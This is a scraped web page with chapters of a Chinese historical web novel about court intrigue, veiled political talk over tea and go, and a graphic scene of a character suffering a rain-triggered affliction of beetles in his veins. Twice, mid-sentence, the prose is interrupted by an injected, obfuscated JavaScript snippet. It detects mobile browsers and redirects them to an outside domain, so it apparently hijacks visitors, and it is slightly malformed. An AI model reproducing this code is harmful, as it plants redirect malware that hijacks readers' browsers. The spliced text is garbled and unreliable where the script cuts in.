胡床旁,有一条涓涓细流穿过一座低矮的拱桥,自一条沿胡床铺设的水渠而来,绕屋而过,在拱桥右边,是品茶赏景之地,在拱桥左边,有各式棋盘供人把玩,屋内有两扇窗户相对而开,临近走廊的一侧窗外,有室外花园中五彩缤纷的繁花锦簇,有翱翔于祥云下的翠鸟啼鸣,室外的鸟鸣声与婉转的袅袅琴音相得益彰。 “周兄之茶,果真不凡。”柳悬坐于临街一侧的窗前,双手接过递来的茶碗,啜饮一口,目光移向窗外,似有所思。 宋旌生性喜甜,本不喜吃茶,在他的眼里,即便是世间最名贵的茶饼,其煮出来的茶汤也是极为苦涩,难以下咽,故而宋旌一直觉着,与其附庸风雅,强行忍受那吃茶之苦,倒不如沦为一介俗人,饮一碗甜水来得畅快,于是哪怕宋旌见柳悬对周屹的茶赞不绝口时心有不满,他也只是浅尝辄止,在轻舔一口茶汤后,便皱起一对眉头,再也不肯碰茶碗了。 “听闻令堂有书信至?”柳悬轻靠在椅背上,以一种十分惬意的姿态,观望起街上行色匆匆的路人。 窗外,狂风肆虐,卷起漫天黄沙,沿街的桅杆被压得弯下了腰,紧闭的门窗也被吹得吱吱作响,仿佛随时都会被撕裂开来。 “看来轻红姑娘果真消息灵通,什么事儿都瞒不过她。”周屹坐于茶桌前,一举一动尽显文人风范,细心分茶时,嘴角勾起一抹无奈的笑。 柳悬则又饮了一口茶,依言答道:“姑娘们平日里无事,就喜欢闲话家常,周兄日后若有何事,不愿旁人知晓,可得再藏紧些才好,莫让她们轻易窥探了去。” “柳兄所言甚是。”周屹点点头,放下手中分盈。 柳悬也退回至茶桌一侧,示意周屹同他去棋桌旁,手谈一局。 坐在茶鍑前,柳悬凝视着鍑中“咕嘟咕嘟”冒鱼泡的沸汤,似不经意间问起:“不知令堂在信中,可有提及我交付予她的那五株小花,其长势可好?” 周屹走到柳悬身后,将怀中携带的信件递呈给柳悬:“就晓得你定要问,所以你瞧,我亲自将母亲的信给你带来了。” 宋旌呆坐在矮榻上,如同一只茫然的傻狍子,努力竖起两只耳朵去听柳悬与周屹的谈话内容,可是听得云里雾里,他也没听出什么有用的信息。 只是……他忍不住琢磨,他怎就不记得柳悬从何时起,还有那养花侍草的喜好了? “谢过周兄。”柳悬接过信件,展开信纸后,只一眼便读完了信中内容,随即将纸张折叠成一个长条,就着风炉里熊熊燃烧的炭火,将其引火焚烬,使其化作一缕青灰后,随风飘散。 柳悬从打开信件到焚毁信件只用了不过须臾之间,待旁人缓过神来时,柳悬已掸去身上清尘,再度问道:“近日,那笼中豢养的飞禽走兽可还算是安分?” 柳悬自行操控轮椅,轻松推行至那棋桌之畔,动作娴熟。 柳悬抢先周屹一步,伸手执起一枚黑色棋子,指尖轻轻一抹,那棋子便稳稳当当地落在棋盘上,发出一声清脆的声响。 周屹紧随其后,走到柳悬的对面,从容不迫地盘腿坐下。 周屹的目光紧盯住棋盘,手中也执起一枚白色棋子,略一思索,便果断地将棋子落在了与柳悬棋势相抗衡的关键之处。 “除了那只不甚安分的金狮以外,余下几只皆是老样子。”周屹一边落子,一边缓缓说道,仿佛一切尽在他的掌握之中。 “哦?”柳悬的眉梢微微上挑,眼底流露出一丝兴味,再次执棋,指尖轻旋,那棋子便势如破竹般,落在了棋盘上,柳悬继而温声问道:“那白狼、黄鹰与青猴竟也如此安分,没有闹出什么乱子来?” “没有,”周屹轻摇着头,目光仍停留在棋盘上,手中的棋子在空中划出一道优美的弧线,落在棋盘的纵横线上,顺势回应道:“大的都很听话,就是小的颇有些野性。” 什么大的?小的? 又是狼?又是鹰?又是猴? 宋旌坐在榻上,眉头紧锁,绞尽脑汁却是满心疑惑。 听不懂柳悬与周屹在说什么,宋旌郁闷地一个接一个地往嘴里塞着梅花酥,那酥脆的口感与甜香的滋味,似乎能缓解他心中的烦闷。 不一会儿,两碗梅花酥就被宋旌一扫而空了。 “嗯。”柳悬颔首,微微点头,手中的棋子在指间轻旋,发出细微声响,他执棋不下,似在思考,片刻后,柳悬又出声询问道:“之前提及的雀灾,现下情况如何?” 话音未落,柳悬便见周屹颇为痛快地哈哈大笑起来。 周屹放下棋子,执起一旁的茶碗,如饮酒一般,豪饮一口,爽朗回道:“按你的法子,养了一只比较凶的猫,再厉害的雀儿也飞不起来的,尽管放心吧。” “现下瞧来,那猫儿果真厉害。”柳悬闻言,也笑弯了眉眼,脸上浮现出几分痛快与喜色。 谈话间,柳悬的余光不经意地掠过榻上正吃得津津有味的宋旌,眼角显露出一抹意味深长的笑意,意有所指道:“不过要说最厉害的猫,这世上恐怕仅此一只。” 柳悬轻捻指尖棋子,那棋子的光面上反射出灵动的光芒,仿佛被赋予了鲜活的生命一样。 柳悬目光深邃,凝望向宋旌,在宋旌一脸憨憨地回视他后,柳悬沉吟片刻,才慢悠悠地说道:“这世上,有些猫,你若将他养在家里,他便只是一只温顺的、乖巧可人的猫,可你若将他放归于丛林,他就会成长为一只威风凛凛的、啸傲山林的虎。” “这世间万物,相生相克,一物自有一物降,就像那金狮虽狂,可在这危机四伏的丛林之中,未必就能称王。” “届时,我们只需凭借猛虎之力,便能轻而易举地挫其锋芒。” 柳悬那低沉而富有磁性的声音,如同远古的钟声,在周屹的耳畔悠悠回荡。 周屹端坐在棋盘旁,身子不自觉地挺直几分,整衣敛容,一脸严肃地问道:“那柳兄心中可有了定论?这只猫,究竟是要一直养在家中,还是应该放归丛林?” 柳悬的目光在棋盘上停留了片刻,随后低头,轻叹一声,他的手指不自觉地摩挲着棋子,柔声应道:“放了吧,这院子太小,总将他拘在这一方天地,只怕会憋出病来,更何况……” 柳悬的话语一顿,视线缓缓移向临街的窗外,那愈发暗沉的天色仿佛在预示着什么可怕的风雨即将到来。 “这狮呀、豹呀,骨子里有野性,是天生的猎手,终有一天,他们会耐不住寂寞的。”柳悬的声音低沉而富有深意,仿佛在诉说一个无法改变的事实。 说着,柳悬将棋子轻轻落下,发出一声清脆的声响,他调整了一下心情,嘴角微微勾起:“瞧天色,要下雨了,既然这场雨早晚会落下,何不趁机,用那上好的无根水先煮一壶好茶喝?” 周屹见状,紧绷的肩膀一松,也跟着笑起来,仿佛心中的石头终于落地:“那自是再好不过。” 柳悬浅啜一口清茶,茶香在口中弥漫开来,他轻放下茶杯,话锋一转:“可还有其他事宜?” 周屹重新添满茶水,缓缓伸手端起面前那精致的茶杯,轻抿一口,蹙眉,似是在回味什么,又似是想起了一件要事。 “近日,英才院里发生了一件极为离奇之事,柳兄可曾有所耳闻?”周屹的眼神一闪,故作神秘,低声说道。 榻上的宋旌一听见熟悉的词,耳朵不由自主地竖起来,全神贯注地倾听着周屹与柳悬的交谈,生怕错过任何一个细节。 “栖霞院闹鬼一事?”柳悬凝眉,随口一答,不甚在意,只是扬了扬下巴,目光紧盯着棋盘,催促周屹尽快落子,仿佛对那所谓的奇事并不感兴趣。 “不错,”周屹点点头,手中棋子轻轻落下,他一本正经地说:“听说那鬼怪已经闹腾了近半月,夜里常有诡异的哭声与不同女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14250050|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的身影出没。” “哦?”柳悬轻笑一声,目光仍未离开桌上棋局,他漫不经心地问,“周兄何时也变得如此迷信,竟也相信那虚无缥缈的鬼神之说?” 周屹落下一子之后,摆了摆手,颇有几分故弄玄虚之态,轻描淡写地说:“哈哈哈,此事非你我所能不信也。” 柳悬未应,不为所动,只全神贯注于棋局之上。 周屹无奈,只得一边落子,一边暗中观察柳悬的神情变化,试图从他那平静的外表下捕捉到一丝兴味。 他继续说:“据传闻所言,不止一人亲眼目睹那变化多端的鬼,就连那槐地鲷州蒋刺史之子亦因此染上疯病,你说,这能不让人信服吗?” 周屹的话还未说完,见柳悬依然是一副意兴阑珊的模样,他还在思忖,到底要不要继续说下去时,宋旌却一脸好奇地主动凑上前来。 “你是说,蒋礼疯了?” “宋小将军亦未曾听闻?” 终于,周屹的话在一汪平静的深潭里激起了层层涟漪,得到了回应。 周屹也不在意是谁回应了他,只要有个能跟他一唱一和的人,让这沉闷的空气流动起来,让他把未尽之言倾诉而出,他便心满意足。 宋旌起身,行至棋桌一侧,脸上挂着一抹茫然,摇了摇头,直言不讳道:“从未曾留意。” 周屹的目光再次掠过柳悬,那人仿佛与这世间的喧嚣隔绝,完全沉浸在一个由黑白棋子构筑的无声世界中,对周遭的一切置若罔闻。 周屹暗自叹息,想来柳悬那狡猾的狐狸也不会轻易上他的套,便转而面向宋旌,言语间似有几分神秘,刻意诱导道:“那蒋公子自十日前便夜夜被那鬼影所纠缠,即便是青天白日,也逢人叫鬼,期间还请来盛京颇有名望的和尚、道士,然而术法驱鬼的收效甚微。” “而今,那蒋公子连兰馨殿也鲜少踏足,只是躲在那贴满咒符的屋子里,日复一日地诵经。”周屹言及此处,不禁咂嘴摇头,眼神中透露出一丝好奇与惋惜,“若有机会,真想问问那蒋公子,那鬼魅到底使了什么手段,何以令他如此惊惧?” “听说学博已经给他请了御医,可若是几日后,仍不见好转,恐怕就得宣他的父亲进京了。”周屹边说边用眼角余光瞥向柳悬,试图引起他的注意。 “竟有此事?”宋旌闻此,低头凝思。 这蒋礼,宋旌心中隐约有些印象。 据他所知,蒋礼的父亲蒋聪与当今太子的生母本家有些渊源,虽只是旁系,但也算得上是皇亲国戚。 然而,当年不知为何,蒋聪与太子结下了深仇大怨。 在鲸海一役中,蒋聪忽然叛变,不战而降,大开城门,使得八皇子顾邕率领的破甲军如入无人之境,一路北上,直逼皇城。 最终,当今圣上与太子双双陨落于八皇子的剑下,而生性嗜杀的八皇子更是让韩书月与宋家上百口人的性命皆葬身于那场惊心动魄的政变之中。 宋旌正陷入沉思,食指轻轻敲打起棋桌桌面,似是在思量蒋聪叛变一事与蒋礼见鬼之间是否有所关联。 周屹见状,眼中闪过一丝狡黠,身子微微前倾,图穷匕见,向柳悬问道:“不知柳兄夜里,可有兴致,与我一道,去探寻那传说中的鬼魅?” 周屹此言一出,宋旌猛然抬头,眼中忽闪过一丝不悦,一拍棋桌,将棋盘上的棋局打散,满盘棋子顿时如流星般,四散而去,落了满地,令人分不清白子黑子。 宋旌毫不客气地宣誓主权道:“哥哥想去,我自当陪同,与你何干?” 棋局已破,纵使柳悬有还原之能,却已无再弈之心。 柳悬无奈,轻叹一声,俯身,从地上拾起几枚散落的棋子,轻笑道:“无趣,比之人心,鬼有何惧?” 说完,柳悬将棋子轻放回棋罐,神色淡然。 柳悬心里如明镜般,他岂会不知,周屹这般费尽唇舌,无非是想借他的力,揭开蒋礼见鬼之谜。 柳悬缓缓行至临街窗边,望着窗外那愈发混浊的天地,心中暗自思量:无论那蒋礼所见,是真鬼,还是其心中之鬼?都预示着蒋礼身上藏着不为人知的秘密。 倘若周屹能掌握这个秘密,便能拿捏住蒋礼,进而利用蒋聪在槐地的势力,为己所用。 槐地与秾地相邻,槐地又盛产车辆船只等重型器械,此等利好之事,周屹自是心知肚明,所以才如此急切地想要探清蒋礼见鬼的底细。 “今日,便到此为止吧。”柳悬未戳破周屹的小心思,也不置可否,只将轮椅推行至厢房门口,似有意结束会谈,“日后再有不明之事,周兄只需修书与我,我自会回应,只是学业繁重,望周兄切莫耽误了‘正事’。” 周屹站起身,尚未答话,柳悬又接着说道:“有一事,烦请周兄告知令堂。” 柳悬忽然停下,向心不在焉的周屹叮嘱道:“南橘北枳乃是天性,倘若要南方的花在北方也能盛开,则需因地制宜、悉心呵护,若是尽心尽力仍无法使其盛开,等万不得已之时,易土重生,亦无不可。” 周屹听罢,眼底顿时露出喜色,鞠躬谢道:“有柳兄此言,周某便放心了。” 柳悬颔首,轻吐出“告辞”二字,旋即离开了厢房。 19.隐疾 从浮云斋离开时,街上起了雾,天上的雨云像海浪一样翻涌,仿佛就压在屋舍的房檐上。 回府用膳后,乌云仍未散去,狂风依旧肆虐,满地的残花被卷入一个个漩涡,空气中的湿气粘在汗涔涔的肌肤上,仿佛一口巨大的蒸锅。 “宋公子没有什么想问的吗?” 风斋环廊上,柳悬停在房门前,回首去瞧石阶下的宋旌。 宋旌伫立在风中,任由狂风卷起他的衣棱与长发,“我若问,哥哥便会答?” 宋旌的嗓音好似冬日里第一场无人涉足的雪,清澈、干净,透着丝丝凉意。 “不会。”柳悬平静地与宋旌对视。 他们此刻心照不宣。 宋旌不会奢望从柳悬这儿得到答案。 柳悬同样也不会乖乖将答案呈上。 他们……从始至终,皆是如此。 “哥哥……” 见柳悬即将关上房门,宋旌又情不自禁地唤了他一声。 柳悬停下动作,望向隐匿在黑夜中的少年,无月的夜色掩盖了他的神情,让柳悬只能遥遥望见一袭银朱色衣衫在狂乱的风暴中肆意翻飞。 宋旌看了几眼天上的黑云,又担忧地看向屋内的柳悬,神色复杂,欲言又止,忽然低笑出声,轻道一句:“早些歇息。” …… 说完,宋旌便转身进屋,独留下柳悬眉头微蹙,心存疑虑,缓缓合上房门。 热,闷热,像是躺在一具烤架上,身下就是熊熊燃烧的烈火。 夏日的暴雨前,就连呼吸都是火炉般炙热的温度。 那雨云不知在天上蓄积了多久。 忽然,像墨渍般黑压压的天空中,忽闪过一道蓝紫色的电光。 随着“轰隆”一声巨响,天空像是被捅出了一个巨洞,雨点“噼里啪啦”地砸下来。 宋旌躺在床上,辗转反侧,难以入眠。 今夜,那雨势如狂,倾盆而下,猛烈得令人心惊。 宋旌心中禁不住开始忧虑,柳悬那本就孱弱的身体,在这肆虐的风雨中,又如何能承受得住那蚀骨锥心之痛? 柳悬自幼身患隐疾,每至雨夜,他便要强行忍受那撕裂身心般的痛楚。 这个秘密,是宋旌在二十八岁那年的秋天,无意间发现的。 宋旌闭上双眼,往昔的记忆如同潮水般汹涌而来,清晰得仿佛就在眼前。 那时,宋旌虽然勉强捡回一条性命,可他的右手在经历了一场牢狱之灾后,也只剩下一副皑皑白骨,后来的六年间,是柳悬散尽家财,为宋旌寻觅神医,在柳悬的悉心照料下,那副枯骨上才重新长出了一些新鲜的皮肉。 那晚,轻红不在,她被柳悬指派去前线传信。 自飞雪六年前去世后,一向最喜偷懒的六一忽然转了性,代替她去了前线,成了周屹旗下最强悍的一名武将。 在战事紧张、用人之际,轻红不得不承担起六一与柳悬之间传递信息、沟通策略的重要桥梁。 轻红原不会骑马,可在时局所迫下她也只能鼓起勇气,跨上马背,独自穿梭在烽火连天的战区。 轻红不在的那一夜,约莫是丑时三刻左右,天上忽然乌云密布,紧接着便下起了瓢泼大雨。 那雨水如狂怒的天神洒下的箭矢,狠狠地击打在门前的台阶上,发出震耳欲聋的声响,仿佛要将整个世界吞噬。 在这喧嚣的夜里,宋旌正在沉睡。 忽然,一阵刺耳的“啪啦!”声从柳悬的屋内传来,瞬间将宋旌惊醒。 宋旌的心猛地一颤,惊魂未定,平躺在床榻上,不停地急促呼吸。 缓了一会儿,宋旌依稀分辨出那滂沱的大雨中似乎还夹杂了一丝令人不易察觉的闷哼声。 那声音有些熟悉,似乎出自于柳悬。 宋旌翻了个身,阖上双眼,以为柳悬是同他一样,被梦魇所扰。 然而,一道惊雷“轰”地一下炸响,照亮了夜空,也照亮了宋旌的不安。 宋旌突然意识到那刺耳的声响分明是瓷器摔碎的动静,而那刻意压抑的闷哼声也不是梦魇的呓语。 宋旌犹豫了一瞬,急忙坐起身,耳边还回响着柳悬那被大雨掩盖得若隐若现的闷哼声,他再也顾不得许多,猛地掀开被子,赤脚冲向柳悬的房门。 柳悬的房门紧闭着,仿佛有什么力量在阻止宋旌的进入。 宋旌心急如焚,在黑暗中发疯般地拍打着那扇紧闭的房门。 每一次撞击,都伴随着他沙哑而充满焦急的呼喊: “柳悬?” “柳长青!” “柳长青!!!你听得见吗?” “你怎么了?” “我知道你在里面!你别不吭声!” 宋旌的声音在空寂的院里回荡,却石沉大海,没有得到任何回应。 宋旌唯一能用的左手,一直轰击着厚重的门板,狠狠地踹了那门板几脚,将门板撞得“哐哐”直响。 然而,那一扇刻意被加固过的木门却纹丝不动,像一道无情的屏障,将他与柳悬隔绝在两个世界,屋内回应他的,只有柳悬那愈发急促、令人揪心的喘息声。 此刻,宋旌的心仿佛被一只无形的手给紧紧地攥住了,跳动得异常剧烈,几乎要冲破他的胸膛。 他那灵敏的直觉,让他隐约察觉到柳悬正面临着某种难以想象的痛苦,而他只能站在门外,束手无策。 宋旌强迫自己冷静下来,退至石阶下。 雨水如注,倾泻而下,无情地浇打在宋旌的身上,湿透了他的衣衫,却浇不灭他心中的烦躁与怒火。 宋旌此刻恨不得将柳悬揪出来,亲手痛扁一顿。 他环顾四周,终于在绝望与希望的交织中,发现了一扇被人遗忘的小窗。 宋旌冲上前去,用尽全身力气,毫不犹豫地撞开窗框,不顾一切,翻身进屋。 屋内漆黑如墨,伸手不见五指,静谧得仿佛连空气都凝固了。 宋旌心跳如鼓,他小心翼翼地迈入这空荡荡的屋内,脚步声在寂静的雨夜中显得异常响亮。 只见偌大的空间中,一张床榻孤零零地摆放在西侧,一张矮几斜倚在一旁,床上的被褥凌乱不堪,案几上散落着一堆凌乱的书册,书页随风翻动,发出“沙沙”的声响。 宋旌注意到,柳悬的床脚处还有一个破碎的香炉,碎片铺了满地,炉中的香灰早已熄灭,只留下一股浓烈到刺鼻的香气,那是安神香的味道。 柳悬何时起,竟需要浸泡在如此浓烈的安神香中才能入睡? 宋旌刚一踏入,还未细想,便敏锐地嗅到了一丝不易察觉的血腥气。 宋旌的呼吸骤然停滞,仿佛被人紧紧扼住了咽喉,让他几乎无法喘息,他焦急地借助窗外偶尔掠过的一瞬电光,努力在黑暗中搜寻,试图穿透这无尽的黑暗。 刹那间,宋旌的目光仿佛被一道绳索牵引着移上床榻,死死地定格在榻上那令人心碎的一幕,他的心跳好似被重锤猛击,停止了跳动,整个世界都在这一刻静止了。 只见柳悬那原本清瘦的躯干,此刻正被牢牢地束缚在床的四脚,如一只被囚困在陷进中的小兽,无助地在榻上剧烈的颤抖,几条粗大的麻绳,如一条条巨大的蟒蛇般,从四面八方而来,将他紧紧缠绕,犹如五马分尸般,锁住他的手脚,覆盖他的身躯,仿佛要将他切割成数段、撕裂成数片。 柳悬的手腕被麻绳捆住,手臂高高地举过头顶,被残忍地绑在床的两角,手臂上的青筋因血液凝滞而暴突,如同一根根即将断裂的琴弦,仿佛下一刻就要爆裂,瞬间倾泄出柳悬一直隐忍不发的痛苦。 柳悬的手指慌乱地抓挠着,却只是在麻绳上留下一道又一道深入皮肉的血痕,鲜血如山间的活泉般,汩汩涌出。 柳悬的下颌被方巾死死地堵住,那一块方巾如同无情的绞索般,紧紧地扼住了柳悬的咽喉,剥夺了他发声的权利。 柳悬的双腿,也被四根麻绳牢牢地束缚在床脚,膝盖因长时间的过度弯曲而泛起惨白之色,甚至开始微微颤抖,仿佛下一秒就会在巨大的压力下断裂,脚趾也因拼尽全力地挣扎而紧紧蜷缩。 起初,柳悬的眼中还有些许残存的意识碎片,但是随着更剧烈的挣扎与麻绳的逐渐收紧,那眼中的光彩也逐渐被痛苦与绝望所吞噬,变得黯淡无光。 他的脸色在时有时无的电光下由苍白转为青紫,再转为死灰,仿佛被抽走了所有的灵魂与活力,只剩下一具冰冷的躯壳,在黑暗中无声地煎熬着…… 宋旌看见,柳悬还在挣扎,可是每一次挣扎都是在白白浪费他的生命力,只会让麻绳更无情、更深入地切割着他的皮肉,在他那原本白皙的肌肤上留下一条条触目惊心的血痕。 渐渐地,柳悬变得越来越虚弱,他的双手因过度用力而紧握成拳,指甲缝里渗出了鲜血,指盖也因承受不住巨大的压力而开始剥落,露出里面那鲜嫩的红肉,让人不忍直视。 床榻之上,柳悬双目紧闭,脸色苍白得如同死人一般,他只有那微弱的、从牙缝间挤出的喘息声,一呼一吸,如同一束风中摇曳的烛火,随时都有可能熄灭。 柳悬那极其克制的闷哼声很轻,轻得犹如一片羽毛,落在地上都不会被人留意。 可是那声音再轻,也如同万钧重压,沉沉地落在了宋旌的心头,让他感受到一种难以名状的痛楚,仿佛有千万根针在刺扎他那颗时快时慢的心脏。 宋旌心中惊骇万分,脚步踉跄,失控般快步冲上前,目光中满是焦灼与惶恐。 “疯子!你……” 宋旌的心仿佛被人撕开了一条豁大的口子,他的声音止不住地颤抖起来。 宋旌伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14267724|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,他小心翼翼,替柳悬抽出嘴里的那块润湿了的方巾。 柳悬突然睁圆眼睛,用一双爬满了蛛网般的血丝、被鲜血浸泡过的眼珠,直勾勾地盯住宋旌,哪怕他现在已经孱弱地提不起一丝气力,可他还是用那被砂石磨砺过的粗粝嗓音,对宋旌吐出一个字:“滚……”。 宋旌的瞳孔一缩,有一瞬的心悸,不知为何,他突然觉得眼前的柳悬凌厉得有几分骇人,可是哪怕本能告诉他,柳悬现在是个不好惹的主儿,他也仍是选择直接无视掉柳悬那充满敌意的眼神与粗鲁无礼的态度,想替柳悬解开缚手的绳索。 不过,当宋旌俯下身子,准备用牙去咬开柳悬身上的绳索时,他凭借窗外偶尔闪烁的电光,竟惊恐地发现,柳悬的血脉中有无数细小的甲虫在疯狂地蠕动,那些躁狂的甲虫拥有晶莹剔透的身体,却散发着令人心悸的暗红色光芒,它们在柳悬的每一条血脉中穿梭、游动,肆意啃噬着柳悬的血肉,留下一道道触目惊心的伤痕,若是仔细去瞧,还能瞧见柳悬的脸下、眼中也有凸出的甲虫在涌动。 宋旌吓得直起身子,忽然一道惊雷在宋旌的耳畔边炸响。 宋旌看见浑身上下,像是一个甲虫容器的柳悬以狰狞的模样发狂般怒瞪自己,他实在无法想象,柳悬此刻正承受着怎样异于常理的折磨。 那一刹那,宛如炼狱般的场景深深地烙印在宋旌的心上,让他莫名地感到一阵没来由的心慌,一颗心仿佛跳到嗓子眼,恐惧与担忧如风暴般席卷而来,将他彻底淹没。 宋旌强迫自己冷静了下来,他想再仔细去瞧瞧柳悬的样子,却又忽然瞧不见那些可怕的虫子。 宋旌最后还是替柳悬抽出了方巾,解开了束缚他的绳索。 可是在宋旌放开柳悬后,当他看见柳悬因为忍痛而紧咬牙关,直咬得牙齿发出咯咯咯的声响,牙龈渗出鲜血,从嘴角处缓缓留下来,以及当柳悬的身体脱离束缚后,总忍不住想往墙上撞,以自戕来结束痛苦时,宋旌才忽然明白,为何柳悬会被人用如此残忍的方式,困在床榻上。 那一夜,宋旌一直守着柳悬,每当柳悬痛醒时,宋旌便会紧紧钳制住他,任由他因剧痛而啃咬自己的肩膀,然后再趁柳悬不备之时,将他一掌劈晕,让他暂时逃离那无尽的痛苦。 那一夜,漫长而煎熬。 后来,宋旌发现每次雨停后,柳悬便会自动恢复正常。 因为心里一直记挂此事,宋旌还向许多人私下打听过柳悬的身体状况。 可是……无论是轻红、六一,还是李神医或周屹,亦或是柳悬身边的其他侍从,他们要么说不知道,要么说柳悬的症状是幼年时曾患过的一场怪病所留下的隐疾。 至于宋旌那日亲眼所见的甲虫也再没有出现过,甚至在宋旌每一次趁雨夜偷溜进柳悬的屋子里去瞧他时,也只瞧见轻红会守在柳悬的床边,或是替柳悬喂药,或是替柳悬将绳索再多捆上几条,捆得像一个密不透风的粽子,以免柳悬忍不住弄伤自己,而柳悬也只有在疼痛时才显露出一丝隐忍的模样。 自那以后,柳悬虽然还是会犯病,但是他的身上却再也瞧不出任何的异常。 …… 今夜,雨幕如织,倾盆而泻,与当年那场浇漓大雨不谋而合。 宋旌独处于房内,翻来覆去,始终无法安眠,现下,他俩隔着一个院子,不像当年那般临屋而居,宋旌亦无法听见柳悬屋内的动静。 今夜,还会是轻红陪伴在他的身边吗? 窗外的雨声搅乱了宋旌的思绪,让他觉得颇为烦躁,仿佛一闭上眼睛,柳悬当年的惨状便会跃然入目。 内心的纷扰与焦灼,如肆虐的风雨般无情地侵蚀着宋旌,他再也无法忍受这无边的折磨与煎熬,猛然从床上坐起,身下的凉簟因宋旌的动作而发出轻微的声响。 宋旌随意扯过一件白色的窄袖长衫,潦草地披在身上,脚踏一双轻便的靸鞋,推开紧闭的房门,任由那肆虐的风雨扑面而来。 屋外,除了电闪雷鸣外,再无其他光线与声响,院里静悄悄的,似乎没有任何活物的气息。 劲风刮过树枝,无数的树影在风雨中摇曳,像是一个个身披黑袍的鬼魅般,在雨水中疯狂舞动。 宋旌一步步逼近柳悬的房门,心中烦躁更甚,如猫抓般愈发强烈。 “哥哥?” 宋旌轻声呼唤,俯身贴上门板,却只听得屋内那一片死一般的沉寂,没有轻红像当年那般驱赶他的声音。 宋旌又敲了敲门,敲门时的“咚咚”声与两扇门扉摇曳的“吱嘎”声在空旷的天地间悠悠回荡,却没有得到屋内的任何回应。 一如当年一样。 一时间,宋旌的心沉了下来,就像一只被冰冻在湖中的鲤鱼,浑身凉透,连呼吸都变得迟滞,仿佛每一次呼吸时,胸上都压着一块巨石,直叫他喘不上气来。 20.毒药 “子夏!” “你在屋里吗!?” 宋旌的声音透露出他内心的焦急,柳悬却沉默如初。 宋旌暗自思量,柳悬向来警觉,绝无可能像现在这般沉睡不醒。 倘若宋旌已经这般闹腾,柳悬仍然无动于衷,那便只有一个解释:柳悬此举与当年相似,是有意为之。 情急之下,宋旌几乎将要丧失理智般破门而入。 然而,就在他将要撞开门栓前,宋旌又硬生生地止住了脚步。 那一刹那,宋旌的脑海中忽闪过柳悬那双锐利的眸子,他深知柳悬生性多疑,若自己此刻表现得太过急切,就如同亲手将把柄递到柳悬手中,而柳悬必定会追根究底,誓要找出自己隐瞒的秘密。 宋旌的心脏在胸膛中疯狂地跳动,犹如一只被笼子囚禁的小鸟,不断地撞击着狭小的四壁,仿佛下一秒就要冲破肉身的桎梏。 宋旌咬紧牙关,强行压下那一股几乎要将他彻底吞没的焦灼与不安,用目光环顾屋舍四周,最终还是决定铤而走险,像之前的每一次雨夜,借着夜色的掩护,从屋后悄然翻窗而入。 宋旌的身姿十分轻盈,像是一只技法娴熟的猫咪,轻轻一跃,跨过窗下杂物,稳稳落入屋内。 此刻,宋旌的心中翻江倒海,他一边摸索前行,一边暗自思量: 若柳悬只是稍有不适,那自己便悄无声息地离去,让一切回归平静,当作今夜无事发生; 若柳悬情况危急,自己便不得不铤而走险,与他共度一夜,助他度过今夜难关,等明日再稍加解释。 不过,依照以往的经验,柳悬次日定会忘记今夜发生的一切。 到那时,即便柳悬心存疑虑,自己亦能以未曾离开房间为由,将今夜发生的一切轻轻揭过,仿佛是柳悬大梦一场的错觉。 宋旌心中已经将各种可能的情况反复进行推演,自以为算无遗策、滴水不漏,便似一道魅影般,蹑手蹑脚地潜入柳悬屋内。 房间内,昏暗一片,宛若深渊,好似那夜一般,寸步难行,仅有一丝微光在窗缝间苟延残喘,可那仅有的光亮也会被这无边的黑暗所侵染,再消散得无影无踪。 宋旌凭借着白日里在这间书房中行走的记忆,如猎豹般灵巧穿梭,在黑暗中摸索前行,他踏出的每一步都精准无误地避开屋内的摆设,不曾发出半点声响,他的指尖轻触过那张冰冷的书案,仿佛能感受到它所散发出的寒气。 雨夜的风从窗缝间溜进,带着湿冷的泥土气息,扑打在宋旌的脸上,让宋旌禁不住打了个寒颤。 雷声轰鸣,却无一丝光亮透入,宋旌静立在床侧,不敢凑太近,只敢竖起双耳,试图去捕捉每一丝与柳悬相关的声音。 然而,除了那连绵不绝的雨声与偶尔炸响的雷鸣外,他什么也没听到,黑暗仿佛一张无形的大网,将他紧紧包裹,连一丝微弱的喘息声或闷哼声都不曾泄露。 宋旌看不见柳悬的状况,也听不见柳悬的声音,就像柳悬不存在一样,思及柳悬的病情,宋旌心中的疑虑如野草般疯长,他忍不住开始猜测,柳悬是否已经因疼痛而陷入昏迷。 宋旌伫立在侧,犹豫片刻后,还是决定一探究竟,以确保柳悬的安危。 柳悬房中的床榻很低,床面离地不及两尺,床前还有一阶一尺高的踏床。 宋旌轻轻踏在踏床上,缓缓伸出手,手指微颤,想一诊柳悬的脉搏。 就在宋旌倾身向下时,一股凌厉的劲风带着刺耳的破空声,从宋旌的颈侧,迅猛地袭来,在宋旌向右闪避时,那手刃擦着宋旌的耳畔,呼啸而过,险之又险。 宋旌迅疾如风,亦如窗外那道忽然乍现的闪电,两人几乎同时出招,宋旌猛地扣住那只企图偷袭他的右手,未被那毒辣的招式所击退。 可是,未等宋旌松一口气,对方的另一只手也如灵蛇出洞一般,以迅雷不及掩耳之势,向宋旌的面门袭来,想一拳击打在宋旌的眼眶上。 宋旌猝不及防,他本能地握住那只势如破竹的拳头,堪堪挡下对方的攻击。 